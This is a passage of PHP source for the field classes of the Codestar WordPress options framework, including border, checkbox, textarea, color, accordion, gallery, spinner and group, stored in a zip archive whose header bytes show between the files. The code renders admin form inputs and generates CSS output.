      $placeholder = ( empty( $this->field['placeholder'] ) ) ? ' placeholder="'.  esc_html__( 'Not selected', 'csf' ) .'"' : '';

      echo $this->field_before();

      if ( ! empty( $args['preview'] ) ) {

        $preview_width  = ( ! empty( $args['preview_width'] ) ) ? 'max-width:'. esc_attr( $args['preview_width'] ) .'px;' : '';
        $preview_height = ( ! empty( $args['preview_height'] ) ) ? 'max-height:'. esc_attr( $args['preview_height'] ) .'px;' : '';
        $preview_style  = ( ! empty( $preview_width ) || ! empty( $preview_height ) ) ? ' style="'. esc_attr( $preview_width . $preview_height ) .'"': '';

        echo '<div class="csf--preview'. esc_attr( $hidden_auto ) .'">';
        echo '<div class="csf-image-preview"'. $preview_style .'>';
        echo '<i class="csf--remove fas fa-times"></i><span><img src="'. esc_url( $preview_src ) .'" class="csf--src" /></span>';
        echo '</div>';
        echo '</div>';

      }

      echo '<div class="csf--placeholder">';
      echo '<input type="text" name="'. esc_attr( $this->field_name( '[url]' ) ) .'" value="'. esc_attr( $this->value['url'] ) .'" class="csf--url'. esc_attr( $hidden_url ) .'" readonly="readonly"'. $this->field_attributes() . $placeholder .' />';
      echo '<a href="#" class="button button-primary csf--button" data-library="'. esc_attr( $library ) .'" data-preview-size="'. esc_attr( $args['preview_size'] ) .'">'. $args['button_title'] .'</a>';
      echo ( empty( $args['preview'] ) ) ? '<a href="#" class="button button-secondary csf-warning-primary csf--remove'. esc_attr( $hidden_auto ) .'">'. $args['remove_title'] .'</a>' : '';
      echo '</div>';

      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[id]' ) ) .'" value="'. esc_attr( $this->value['id'] ) .'" class="csf--id"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[width]' ) ) .'" value="'. esc_attr( $this->value['width'] ) .'" class="csf--width"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[height]' ) ) .'" value="'. esc_attr( $this->value['height'] ) .'" class="csf--height"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[thumbnail]' ) ) .'" value="'. esc_attr( $this->value['thumbnail'] ) .'" class="csf--thumbnail"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[alt]' ) ) .'" value="'. esc_attr( $this->value['alt'] ) .'" class="csf--alt"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[title]' ) ) .'" value="'. esc_attr( $this->value['title'] ) .'" class="csf--title"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[description]' ) ) .'" value="'. esc_attr( $this->value['description'] ) .'" class="csf--description"/>';

      echo $this->field_after();

    }

  }
}
PK     N\	
    .  inc/options/framework/fields/notice/notice.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: notice
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_notice' ) ) {
  class CSF_Field_notice extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $style = ( ! empty( $this->field['style'] ) ) ? $this->field['style'] : 'normal';

      echo ( ! empty( $this->field['content'] ) ) ? '<div class="csf-notice csf-notice-'. esc_attr( $style ) .'">'. $this->field['content'] .'</div>' : '';

    }

  }
}
PK     N\e<6,  ,  0  inc/options/framework/fields/content/content.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: content
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_content' ) ) {
  class CSF_Field_content extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      if ( ! empty( $this->field['content'] ) ) {

        echo $this->field['content'];

      }

    }

  }
}
PK     N\-"  "  .  inc/options/framework/fields/border/border.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: border
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_border' ) ) {
  class CSF_Field_border extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'top_icon'           => '<i class="fas fa-long-arrow-alt-up"></i>',
        'left_icon'          => '<i class="fas fa-long-arrow-alt-left"></i>',
        'bottom_icon'        => '<i class="fas fa-long-arrow-alt-down"></i>',
        'right_icon'         => '<i class="fas fa-long-arrow-alt-right"></i>',
        'all_icon'           => '<i class="fas fa-arrows-alt"></i>',
        'top_placeholder'    => esc_html__( 'top', 'csf' ),
        'right_placeholder'  => esc_html__( 'right', 'csf' ),
        'bottom_placeholder' => esc_html__( 'bottom', 'csf' ),
        'left_placeholder'   => esc_html__( 'left', 'csf' ),
        'all_placeholder'    => esc_html__( 'all', 'csf' ),
        'top'                => true,
        'left'               => true,
        'bottom'             => true,
        'right'              => true,
        'all'                => false,
        'color'              => true,
        'style'              => true,
        'unit'               => 'px',
      ) );

      $default_value = array(
        'top'        => '',
        'right'      => '',
        'bottom'     => '',
        'left'       => '',
        'color'      => '',
        'style'      => 'solid',
        'all'        => '',
      );

      $border_props = array(
        'solid'     => esc_html__( 'Solid', 'csf' ),
        'dashed'    => esc_html__( 'Dashed', 'csf' ),
        'dotted'    => esc_html__( 'Dotted', 'csf' ),
        'double'    => esc_html__( 'Double', 'csf' ),
        'inset'     => esc_html__( 'Inset', 'csf' ),
        'outset'    => esc_html__( 'Outset', 'csf' ),
        'groove'    => esc_html__( 'Groove', 'csf' ),
        'ridge'     => esc_html__( 'ridge', 'csf' ),
        'none'      => esc_html__( 'None', 'csf' )
      );

      $default_value = ( ! empty( $this->field['default'] ) ) ? wp_parse_args( $this->field['default'], $default_value ) : $default_value;

      $value = wp_parse_args( $this->value, $default_value );

      echo $this->field_before();

      echo '<div class="csf--inputs" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      if ( ! empty( $args['all'] ) ) {

        $placeholder = ( ! empty( $args['all_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args['all_placeholder'] ) .'"' : '';

        echo '<div class="csf--input">';
        echo ( ! empty( $args['all_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args['all_icon'] .'</span>' : '';
        echo '<input type="number" name="'. esc_attr( $this->field_name( '[all]' ) ) .'" value="'. esc_attr( $value['all'] ) .'"'. $placeholder .' class="csf-input-number csf--is-unit" step="any" />';
        echo ( ! empty( $args['unit'] ) ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['unit'] ) .'</span>' : '';
        echo '</div>';

      } else {

        $properties = array();

        foreach ( array( 'top', 'right', 'bottom', 'left' ) as $prop ) {
          if ( ! empty( $args[$prop] ) ) {
            $properties[] = $prop;
          }
        }

        $properties = ( $properties === array( 'right', 'left' ) ) ? array_reverse( $properties ) : $properties;

        foreach ( $properties as $property ) {

          $placeholder = ( ! empty( $args[$property.'_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args[$property.'_placeholder'] ) .'"' : '';

          echo '<div class="csf--input">';
          echo ( ! empty( $args[$property.'_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args[$property.'_icon'] .'</span>' : '';
          echo '<input type="number" name="'. esc_attr( $this->field_name( '['. $property .']' ) ) .'" value="'. esc_attr( $value[$property] ) .'"'. $placeholder .' class="csf-input-number csf--is-unit" step="any" />';
          echo ( ! empty( $args['unit'] ) ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['unit'] ) .'</span>' : '';
          echo '</div>';

        }

      }

      if ( ! empty( $args['style'] ) ) {
        echo '<div class="csf--input">';
        echo '<select name="'. esc_attr( $this->field_name( '[style]' ) ) .'">';
        foreach ( $border_props as $border_prop_key => $border_prop_value ) {
          $selected = ( $value['style'] === $border_prop_key ) ? ' selected' : '';
          echo '<option value="'. esc_attr( $border_prop_key ) .'"'. esc_attr( $selected ) .'>'. esc_attr( $border_prop_value ) .'</option>';
        }
        echo '</select>';
        echo '</div>';
      }

      echo '</div>';

      if ( ! empty( $args['color'] ) ) {
        $default_color_attr = ( ! empty( $default_value['color'] ) ) ? ' data-default-color="'. esc_attr( $default_value['color'] ) .'"' : '';
        echo '<div class="csf--color">';
        echo '<div class="csf-field-color">';
        echo '<input type="text" name="'. esc_attr( $this->field_name( '[color]' ) ) .'" value="'. esc_attr( $value['color'] ) .'" class="csf-color"'. $default_color_attr .' />';
        echo '</div>';
        echo '</div>';
      }

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $unit      = ( ! empty( $this->value['unit'] ) ) ? $this->value['unit'] : 'px';
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];

      // properties
      $top     = ( isset( $this->value['top'] )    && $this->value['top']    !== '' ) ? $this->value['top']    : '';
      $right   = ( isset( $this->value['right'] )  && $this->value['right']  !== '' ) ? $this->value['right']  : '';
      $bottom  = ( isset( $this->value['bottom'] ) && $this->value['bottom'] !== '' ) ? $this->value['bottom'] : '';
      $left    = ( isset( $this->value['left'] )   && $this->value['left']   !== '' ) ? $this->value['left']   : '';
      $style   = ( isset( $this->value['style'] )  && $this->value['style']  !== '' ) ? $this->value['style']  : '';
      $color   = ( isset( $this->value['color'] )  && $this->value['color']  !== '' ) ? $this->value['color']  : '';
      $all     = ( isset( $this->value['all'] )    && $this->value['all']    !== '' ) ? $this->value['all']    : '';

      if ( ! empty( $this->field['all'] ) && ( $all !== '' || $color !== '' ) ) {

        $output  = $element .'{';
        $output .= ( $all   !== '' ) ? 'border-width:'. $all . $unit . $important .';' : '';
        $output .= ( $color !== '' ) ? 'border-color:'. $color . $important .';'       : '';
        $output .= ( $style !== '' ) ? 'border-style:'. $style . $important .';'       : '';
        $output .= '}';

      } else if ( $top !== '' || $right !== '' || $bottom !== '' || $left !== '' || $color !== '' ) {

        $output  = $element .'{';
        $output .= ( $top    !== '' ) ? 'border-top-width:'. $top . $unit . $important .';'       : '';
        $output .= ( $right  !== '' ) ? 'border-right-width:'. $right . $unit . $important .';'   : '';
        $output .= ( $bottom !== '' ) ? 'border-bottom-width:'. $bottom . $unit . $important .';' : '';
        $output .= ( $left   !== '' ) ? 'border-left-width:'. $left . $unit . $important .';'     : '';
        $output .= ( $color  !== '' ) ? 'border-color:'. $color . $important .';'                 : '';
        $output .= ( $style  !== '' ) ? 'border-style:'. $style . $important .';'                 : '';
        $output .= '}';

      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\;;  ;  2  inc/options/framework/fields/checkbox/checkbox.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: checkbox
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_checkbox' ) ) {
  class CSF_Field_checkbox extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args              = wp_parse_args( $this->field, array(
        'inline'         => false,
        'query_args'     => array(),
        'check_all'      => false,
        'check_all_text' => esc_html__( 'Check/Uncheck All' ),
      ) );

      $inline_class = ( $args['inline'] ) ? ' class="csf--inline-list"' : '';

      echo $this->field_before();

      if ( isset( $this->field['options'] ) ) {

        $value   = ( is_array( $this->value ) ) ? $this->value : array_filter( (array) $this->value );
        $options = $this->field['options'];
        $options = ( is_array( $options ) ) ? $options : array_filter( $this->field_data( $options, false, $args['query_args'] ) );

        if ( is_array( $options ) && ! empty( $options ) ) {

          echo '<ul'. $inline_class .'>';

          foreach ( $options as $option_key => $option_value ) {

            if ( is_array( $option_value ) && ! empty( $option_value ) ) {

              echo '<li>';
                echo '<ul>';
                  echo '<li><strong>'. esc_attr( $option_key ) .'</strong></li>';
                  foreach ( $option_value as $sub_key => $sub_value ) {
                    $checked = ( in_array( $sub_key, $value ) ) ? ' checked' : '';
                    echo '<li>';
                    echo '<label>';
                    echo '<input type="checkbox" name="'. esc_attr( $this->field_name( '[]' ) ) .'" value="'. esc_attr( $sub_key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
                    echo '<span class="csf--text">'. esc_attr( $sub_value ) .'</span>';
                    echo '</label>';
                    echo '</li>';
                  }
                echo '</ul>';
              echo '</li>';

            } else {

              $checked = ( in_array( $option_key, $value ) ) ? ' checked' : '';

              echo '<li>';
              echo '<label>';
              echo '<input type="checkbox" name="'. esc_attr( $this->field_name( '[]' ) ) .'" value="'. esc_attr( $option_key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
              echo '<span class="csf--text">'. esc_attr( $option_value ) .'</span>';
              echo '</label>';
              echo '</li>';

            }

          }

          echo '</ul>';

          if ( $args['check_all'] ) {
            echo '<div class="csf-checkbox-all">'. esc_html( $args['check_all_text'] ) .'</div>';
          }

        } else {

          echo ( ! empty( $this->field['empty_message'] ) ) ? esc_attr( $this->field['empty_message'] ) : esc_html__( 'No data available.', 'csf' );

        }

      } else {

        echo '<label class="csf-checkbox">';
        echo '<input type="hidden" name="'. esc_attr( $this->field_name() ) .'" value="'. $this->value .'" class="csf--input"'. $this->field_attributes() .'/>';
        echo '<input type="checkbox" name="_pseudo" class="csf--checkbox"'. esc_attr( checked( $this->value, 1, false ) ) . $this->field_attributes() .'/>';
        echo ( ! empty( $this->field['label'] ) ) ? '<span class="csf--text">'. esc_attr( $this->field['label'] ) .'</span>' : '';
        echo '</label>';

      }

      echo $this->field_after();

    }

  }
}
PK     N\[J%  %  6  inc/options/framework/fields/subheading/subheading.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: subheading
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_subheading' ) ) {
  class CSF_Field_subheading extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo ( ! empty( $this->field['content'] ) ) ? $this->field['content'] : '';

    }

  }
}
PK     N\=p    6  inc/options/framework/fields/submessage/submessage.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: submessage
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_submessage' ) ) {
  class CSF_Field_submessage extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $style = ( ! empty( $this->field['style'] ) ) ? $this->field['style'] : 'normal';

      echo '<div class="csf-submessage csf-submessage-'. esc_attr( $style ) .'">'. $this->field['content'] .'</div>';

    }

  }
}
PK     N\dr    2  inc/options/framework/fields/fieldset/fieldset.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: fieldset
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_fieldset' ) ) {
  class CSF_Field_fieldset extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo $this->field_before();

      echo '<div class="csf-fieldset-content" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      foreach ( $this->field['fields'] as $field ) {

        $field_id      = ( isset( $field['id'] ) ) ? $field['id'] : '';
        $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
        $field_value   = ( isset( $this->value[$field_id] ) ) ? $this->value[$field_id] : $field_default;
        $unique_id     = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']' : $this->field['id'];

        CSF::field( $field, $field_value, $unique_id, 'field/fieldset' );

      }

      echo '</div>';

      echo $this->field_after();

    }

  }
}
PK     N\)33  3  2  inc/options/framework/fields/textarea/textarea.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: textarea
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_textarea' ) ) {
  class CSF_Field_textarea extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo $this->field_before();
      echo $this->shortcoder();
      echo '<textarea name="'. esc_attr( $this->field_name() ) .'"'. $this->field_attributes() .'>'. $this->value .'</textarea>';
      echo $this->field_after();

    }

    public function shortcoder() {

      if ( ! empty( $this->field['shortcoder'] ) ) {

        $shortcodes = ( is_array( $this->field['shortcoder'] ) ) ? $this->field['shortcoder'] : array_filter( (array) $this->field['shortcoder'] );
        $instances  = ( ! empty( CSF::$shortcode_instances ) ) ? CSF::$shortcode_instances : array();

        if ( ! empty( $shortcodes ) && ! empty( $instances ) ) {

          foreach ( $shortcodes as $shortcode ) {

            foreach ( $instances as $instance ) {

              if ( $instance['modal_id'] === $shortcode ) {

                $id    = $instance['modal_id'];
                $title = $instance['button_title'];

                echo '<a href="#" class="button button-primary csf-shortcode-button" data-modal-id="'. esc_attr( $id ) .'">'. esc_html( $title ) .'</a>';

              }

            }

          }

        }

      }

    }
  }
}
PK     N\^    ,  inc/options/framework/fields/color/color.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: color
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_color' ) ) {
  class CSF_Field_color extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $default_attr = ( ! empty( $this->field['default'] ) ) ? ' data-default-color="'. esc_attr( $this->field['default'] ) .'"' : '';

      echo $this->field_before();
      echo '<input type="text" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'" class="csf-color"'. $default_attr . $this->field_attributes() .'/>';
      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $mode      = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'color';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $key_property => $element ) {
          if ( is_numeric( $key_property ) ) {
            $output = implode( ',', $elements ) .'{'. $mode .':'. $this->value . $important .';}';
            break;
          } else {
            $output .= $element .'{'. $key_property .':'. $this->value . $important .'}';
          }
        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\u  u  0  inc/options/framework/fields/heading/heading.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: heading
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_heading' ) ) {
  class CSF_Field_heading extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {
      echo $this->field_before();
      echo '<div class="csf-heading-expand"><a href="#" class="csf-heading-expand-btn">Expand</a></div>';
      echo $this->field_after();
    }

  }
}
PK     N\}KY  Y  4  inc/options/framework/fields/accordion/accordion.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: accordion
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_accordion' ) ) {
  class CSF_Field_accordion extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $unallows = array( 'accordion' );

      echo $this->field_before();

      echo '<div class="csf-accordion-items" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      foreach ( $this->field['accordions'] as $key => $accordion ) {

        echo '<div class="csf-accordion-item">';

          $icon = ( ! empty( $accordion['icon'] ) ) ? 'csf--icon '. $accordion['icon'] : 'csf-accordion-icon fas fa-angle-right';

          echo '<h4 class="csf-accordion-title">';
          echo '<i class="'. esc_attr( $icon ) .'"></i>';
          echo esc_html( $accordion['title'] );
          echo '</h4>';

          echo '<div class="csf-accordion-content">';

          foreach ( $accordion['fields'] as $field ) {

            if ( in_array( $field['type'], $unallows ) ) { $field['_notice'] = true; }

            $field_id      = ( isset( $field['id'] ) ) ? $field['id'] : '';
            $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
            $field_value   = ( isset( $this->value[$field_id] ) ) ? $this->value[$field_id] : $field_default;
            $unique_id     = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']' : $this->field['id'];

            CSF::field( $field, $field_value, $unique_id, 'field/accordion' );

          }

          echo '</div>';

        echo '</div>';

      }

      echo '</div>';

      echo $this->field_after();

    }

  }
}
PK     N\w  w  0  inc/options/framework/fields/gallery/gallery.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: gallery
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_gallery' ) ) {
  class CSF_Field_gallery extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'add_title'   => esc_html__( 'Add Gallery', 'csf' ),
        'edit_title'  => esc_html__( 'Edit Gallery', 'csf' ),
        'clear_title' => esc_html__( 'Clear', 'csf' ),
      ) );

      $hidden = ( empty( $this->value ) ) ? ' hidden' : '';

      echo $this->field_before();

      echo '<ul>';
      if ( ! empty( $this->value ) ) {

        $values = explode( ',', $this->value );

        foreach ( $values as $id ) {
          $attachment = wp_get_attachment_image_src( $id, 'thumbnail' );
          echo '<li><img src="'. esc_url( $attachment[0] ) .'" /></li>';
        }

      }
      echo '</ul>';

      echo '<a href="#" class="button button-primary csf-button">'. $args['add_title'] .'</a>';
      echo '<a href="#" class="button csf-edit-gallery'. esc_attr( $hidden ) .'">'. $args['edit_title'] .'</a>';
      echo '<a href="#" class="button csf-warning-primary csf-clear-gallery'. esc_attr( $hidden ) .'">'. $args['clear_title'] .'</a>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .'/>';

      echo $this->field_after();

    }

  }
}
PK     N\K    0  inc/options/framework/fields/spinner/spinner.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: spinner
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_spinner' ) ) {
  class CSF_Field_spinner extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'max'  => 100,
        'min'  => 0,
        'step' => 1,
        'unit' => '',
      ) );

      echo $this->field_before();

      echo '<div class="csf--spin"><input type="number" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes( array( 'class' => 'csf-input-number' ) ) .' data-min="'. esc_attr( $args['min'] ) .'" data-max="'. esc_attr( $args['max'] ) .'" data-step="'. esc_attr( $args['step'] ) .'" data-unit="'. esc_attr( $args['unit'] ) .'" step="any" /></div>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-spinner' ) ) {
        wp_enqueue_script( 'jquery-ui-spinner' );
      }

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $mode      = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'width';
      $unit      = ( ! empty( $this->field['unit'] ) ) ? $this->field['unit'] : 'px';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $key_property => $element ) {
          if ( is_numeric( $key_property ) ) {
            if ( $mode ) {
              $output = implode( ',', $elements ) .'{'. $mode .':'. $this->value . $unit . $important .';}';
            }
            break;
          } else {
            $output .= $element .'{'. $key_property .':'. $this->value . $unit . $important .'}';
          }
        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     N\5?    ,  inc/options/framework/fields/group/group.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: group
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_group' ) ) {
  class CSF_Field_group extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'max'                       => 0,
        'min'                       => 0,
        'fields'                    => array(),
        'button_title'              => esc_html__( 'Add New', 'csf' ),
        'accordion_title_prefix'    => '',
        'accordion_title_number'    => false,
        'accordion_title_auto'      => true,
        'accordion_title_by'        => array(),
        'accordion_title_by_prefix' => ' ',
      ) );

      $title_prefix    = ( ! empty( $args['accordion_title_prefix'] ) ) ? $args['accordion_title_prefix'] : '';
      $title_number    = ( ! empty( $args['accordion_title_number'] ) ) ? true : false;
      $title_auto      = ( ! empty( $args['accordion_title_auto'] ) ) ? true : false;
      $title_first     = ( isset( $this->field['fields'][0]['id'] ) ) ? $this->field['fields'][0]['id'] : $this->field['fields'][1]['id'];
      $title_by        = ( is_array( $args['accordion_title_by'] ) ) ? $args['accordion_title_by'] : (array) $args['accordion_title_by'];
      $title_by        = ( empty( $title_by ) ) ? array( $title_first ) : $title_by;
      $title_by_prefix = ( ! empty( $args['accordion_title_by_prefix'] ) ) ? $args['accordion_title_by_prefix'] : '';

      if ( preg_match( '/'. preg_quote( '['. $this->field['id'] .']' ) .'/', $this->unique ) ) {

        echo '<div class="csf-notice csf-notice-danger">'. esc_html__( 'Error: Field ID conflict.', 'csf' ) .'</div>';

      } else {

        echo $this->field_before();

        echo '<div class="csf-cloneable-item csf-cloneable-hidden" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

          echo '<div class="csf-cloneable-helper">';
          echo '<i class="csf-cloneable-sort fas fa-arrows-alt"></i>';
          echo '<i class="csf-cloneable-clone far fa-clone"></i>';
          echo '<i class="csf-cloneable-remove csf-confirm fas fa-times" data-confirm="'. esc_html__( 'Are you sure to delete this item?', 'csf' ) .'"></i>';
          echo '</div>';

          echo '<h4 class="csf-cloneable-title">';
          echo '<span class="csf-cloneable-text">';
          echo ( $title_number ) ? '<span class="csf-cloneable-title-number"></span>' : '';
          echo ( $title_prefix ) ? '<span class="csf-cloneable-title-prefix">'. esc_attr( $title_prefix ) .'</span>' : '';
          echo ( $title_auto ) ? '<span class="csf-cloneable-value"><span class="csf-cloneable-placeholder"></span></span>' : '';
          echo '</span>';
          echo '</h4>';

          echo '<div class="csf-cloneable-content">';
          foreach ( $this->field['fields'] as $field ) {

            $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
            $field_unique  = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .'][0]' : $this->field['id'] .'[0]';

            CSF::field( $field, $field_default, '___'. $field_unique, 'field/group' );

          }
          echo '</div>';

        echo '</div>';

        echo '<div class="csf-cloneable-wrapper csf-data-wrapper" data-title-by="'. esc_attr( json_encode( $title_by ) ) .'" data-title-by-prefix="'. esc_attr( $title_by_prefix ) .'" data-title-number="'. esc_attr( $title_number ) .'" data-field-id="['. esc_attr( $this->field['id'] ) .']" data-max="'. esc_attr( $args['max'] ) .'" data-min="'. esc_attr( $args['min'] ) .'">';

        if ( ! empty( $this->value ) ) {

          $num = 0;

          foreach ( $this->value as $value ) {

            $title = '';

            if ( ! empty( $title_by ) ) {

              $titles = array();

              foreach ( $title_by as $title_key ) {
                if ( isset( $value[ $title_key ] ) ) {
                  $titles[] = $value[ $title_key ];
                }
              }

              $title = join( $title_by_prefix, $titles );

            }

            $title = ( is_array( $title ) ) ? reset( $title ) : $title;

            echo '<div class="csf-cloneable-item">';

              echo '<div class="csf-cloneable-helper">';
              echo '<i class="csf-cloneable-sort fas fa-arrows-alt"></i>';
              echo '<i class="csf-cloneable-clone far fa-clone"></i>';
              echo '<i class="csf-cloneable-remove csf-confirm fas fa-times" data-confirm="'. esc_html__( 'Are you sure to delete this item?', 'csf' ) .'"></i>';
              echo '</div>';

              echo '<h4 class="csf-cloneable-title">';
              echo '<span class="csf-cloneable-text">';
              echo ( $title_number ) ? '<span class="csf-cloneable-title-number">'. esc_attr( $num+1 ) .'.</span>' : '';
              echo ( $title_prefix ) ? '<span class="csf-cloneable-title-prefix">'. esc_attr( $title_prefix ) .'</span>' : '';
              echo ( $title_auto ) ? '<span class="csf-cloneable-value">' . esc_attr( $title ) .'</span>' : '';
              echo '</span>';
              echo '</h4>';

              echo '<div class="csf-cloneable-content">';

              foreach ( $this->field['fields'] as $field ) {

                $field_unique = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']['. $num .']' : $this->field['id'] .'['. $num .']';
